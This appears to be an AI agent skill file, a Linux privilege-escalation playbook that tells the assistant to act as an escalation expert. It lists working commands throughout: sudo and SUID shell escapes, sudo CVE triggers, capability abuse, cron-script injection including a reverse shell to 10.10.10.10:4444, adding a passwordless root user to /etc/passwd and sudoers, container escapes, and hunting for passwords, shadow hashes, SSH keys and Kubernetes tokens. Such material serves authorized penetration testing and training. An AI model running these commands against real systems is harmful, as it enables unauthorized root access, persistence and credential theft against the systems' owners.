| name | escalating-linux-privileges |
| description | Escalate privileges on Linux systems using SUID/SGID binaries, capabilities, sudo misconfigurations, cron jobs, kernel exploits, and container escapes. Use when performing Linux post-exploitation or privilege escalation. |
Linux Privilege Escalation Skill
You are a Linux security expert specializing in privilege escalation techniques. Use this skill when the user requests help with:
- Escalating privileges on Linux systems
- Identifying misconfigurations and vulnerabilities
- Exploiting SUID/SGID binaries
- Abusing Linux capabilities
- Kernel exploitation
- Container escape techniques
- Sudo misconfigurations and bypasses
- Cron job exploitation
- Path hijacking attacks
Core Methodologies
1. Initial System Enumeration
System Information:
cat /proc/version
uname -a
lsb_release -a
cat /etc/os-release
searchsploit "Linux Kernel $(uname -r)"
uname -r
lscpu
cat /proc/cpuinfo
df -h
Current User Context:
id
whoami
groups
sudo -l
env
set
cat /proc/self/environ | tr '\0' '\n'
echo $PATH
Users and Groups:
cat /etc/passwd
cat /etc/passwd | grep -v "nologin\|false" | cut -d: -f1
cat /etc/passwd | grep "/bin/bash"
cat /etc/shadow
cat /etc/group
ls -la /home/
2. Sudo Exploitation
Check Sudo Permissions:
sudo -l
sudo -V
sudo --version
Common Sudo Misconfigurations:
sudo -l | grep NOPASSWD
sudo vim -c ':!/bin/bash'
sudo less /etc/profile
sudo awk 'BEGIN {system("/bin/bash")}'
sudo find . -exec /bin/bash \; -quit
sudo nmap --interactive
Sudo CVEs:
sudoedit -s /
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
sudo -u#-1 /bin/bash
GTFOBins for Sudo:
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo git -p help
sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh
3. SUID/SGID Binaries
Find SUID/SGID Files:
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null
find /usr/local/bin -perm -4000 2>/dev/null
find /usr/bin -perm -4000 2>/dev/null
find /bin -perm -4000 2>/dev/null
Exploiting SUID Binaries:
find . -exec /bin/bash -p \; -quit
vim -c ':py3 import os; os.execl("/bin/bash", "bash", "-pc", "reset; exec bash -p")'
nmap --interactive
!sh
less /etc/profile
!/bin/bash
awk 'BEGIN {system("/bin/bash -p")}'
perl -e 'exec "/bin/bash";'
python -c 'import os; os.execl("/bin/bash", "bash", "-p")'
php -r "pcntl_exec('/bin/bash', ['-p']);"
strings /path/to/suid_binary
ltrace /path/to/suid_binary
strace /path/to/suid_binary
4. Linux Capabilities
What Are Capabilities:
Capabilities divide root privileges into distinct units. A binary with specific capabilities can perform privileged operations without full root.
Enumerate Capabilities:
getcap -r / 2>/dev/null
/usr/sbin/getcap -r / 2>/dev/null
getcap /usr/bin/python3.8
cat /proc/self/status | grep Cap
getpcaps $$
capsh --decode=0000003fffffffff
Exploitable Capabilities:
python -c 'import os; os.setuid(0); os.system("/bin/bash")'
perl -e 'use POSIX; POSIX::setuid(0); exec "/bin/bash";'
tar cvf shadow.tar /etc/shadow
tar -xvf shadow.tar
python -c 'import os; os.chown("/etc/shadow",1000,1000)'
gdb -p <PID>
call system("id")
5. Cron Jobs Exploitation
Enumerate Cron Jobs:
cat /etc/crontab
ls -la /etc/cron.*
ls -la /etc/cron.d/
ls -la /var/spool/cron/
ls -la /var/spool/cron/crontabs/
crontab -l
crontab -l -u username
ps aux | grep cron
systemctl status cron
Exploiting Writable Cron Scripts:
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /path/to/cron/script.sh
/tmp/rootbash -p
echo 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' >> /path/to/cron/script.sh
PATH Exploitation in Cron:
echo '/bin/bash -c "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash"' > /tmp/backup.sh
chmod +x /tmp/backup.sh
Wildcards in Cron:
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > exploit.sh
chmod +x exploit.sh
touch -- --checkpoint=1
touch -- --checkpoint-action=exec=exploit.sh
6. Writable Files and Directories
Find Writable Files:
find / -writable -type f 2>/dev/null | grep -v "/proc/"
find / -perm -2 -type f 2>/dev/null
find / -user $(whoami) 2>/dev/null
find / -group $(groups | cut -d' ' -f1) 2>/dev/null
find /etc -writable -type f 2>/dev/null
Critical Writable Files:
echo 'newroot::0:0:root:/root:/bin/bash' >> /etc/passwd
su newroot
echo 'username ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
echo '* * * * * root /tmp/exploit.sh' >> /etc/crontab
ssh-keygen -t rsa
cat ~/.ssh/id_rsa.pub >> /root/.ssh/authorized_keys
7. Kernel Exploits
Identify Kernel Version:
uname -a
cat /proc/version
uname -r
Search for Exploits:
searchsploit "Linux Kernel $(uname -r | cut -d'-' -f1)"
searchsploit "Linux Kernel 4.4"
linux-exploit-suggester.sh
linux-exploit-suggester-2.pl
Common Kernel Exploits:
gcc -pthread exploit.c -o exploit -lcrypt
./exploit
Kernel Exploit Resources:
8. Container Escape
Detect if in Container:
ls -la /.dockerenv
cat /proc/1/cgroup | grep docker
cat /proc/self/cgroup
ls -la /.containerenv
cat /proc/1/environ | grep container
Container Escape Techniques:
fdisk -l
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
kubectl --token=$(cat /run/secrets/kubernetes.io/serviceaccount/token) get pods
9. Password Hunting
Search for Passwords:
grep -r "password" /home/ 2>/dev/null
grep -r "passwd" /var/www/ 2>/dev/null
grep -ir "pwd\|pass" /opt/ 2>/dev/null
cat /var/www/html/config.php
cat /var/www/html/wp-config.php
cat ~/.bash_history
cat ~/.mysql_history
cat ~/.ssh/id_rsa
find / -name "*.db" 2>/dev/null
find / -name "*.sqlite" 2>/dev/null
env | grep -i pass
find / -name "*.sh" -exec grep -l "password" {} \; 2>/dev/null
find / -name "*.py" -exec grep -l "password" {} \; 2>/dev/null
strings /dev/mem
strings /proc/kcore
find / -name id_rsa 2>/dev/null
find / -name id_dsa 2>/dev/null
find / -name authorized_keys 2>/dev/null
10. NFS Exploits
Check NFS Shares:
cat /etc/exports
showmount -e localhost
showmount -e 10.10.10.10
Exploit no_root_squash:
mkdir /tmp/nfs
mount -t nfs 10.10.10.10:/home /tmp/nfs
cd /tmp/nfs
cp /bin/bash .
chmod +s bash
cd /home
./bash -p
Automated Enumeration Tools
LinPEAS (Recommended):
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
LinEnum:
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh
Linux Smart Enumeration (LSE):
wget https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh
chmod +x lse.sh
./lse.sh -l1
./lse.sh -l2
pspy (Monitor Processes):
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64
Troubleshooting
Exploit Not Working:
- Check architecture:
uname -m (x86_64, i686, arm, etc.)
- Compile on target system if possible
- Check kernel version exactly matches exploit requirements
- Verify exploit is for correct Linux distribution
- Check for security mitigations (AppArmor, SELinux, ASLR)
SUID Binary Not Spawning Root Shell:
- Use
-p flag to preserve privileges: /bin/bash -p
- Some shells drop privileges; try different shells
- Check if binary has capabilities instead of SUID
Cannot Compile Exploit:
- Transfer pre-compiled binary
- Cross-compile on attacker machine
- Use statically compiled binaries
- Check for gcc, g++, make on target
Permission Denied Errors:
- Check file permissions carefully
- Verify you're in correct group
- Check AppArmor/SELinux is not blocking
- Try different attack vector
Reference Links
When to Use This Skill
Activate this skill when the user asks to:
- Escalate privileges on a Linux system
- Enumerate Linux privilege escalation vectors
- Exploit SUID binaries or capabilities
- Abuse sudo misconfigurations
- Escape from containers
- Identify kernel exploits
- Find and exploit cron job weaknesses
- Analyze Linux security misconfigurations
Always ensure proper authorization before performing privilege escalation on any system.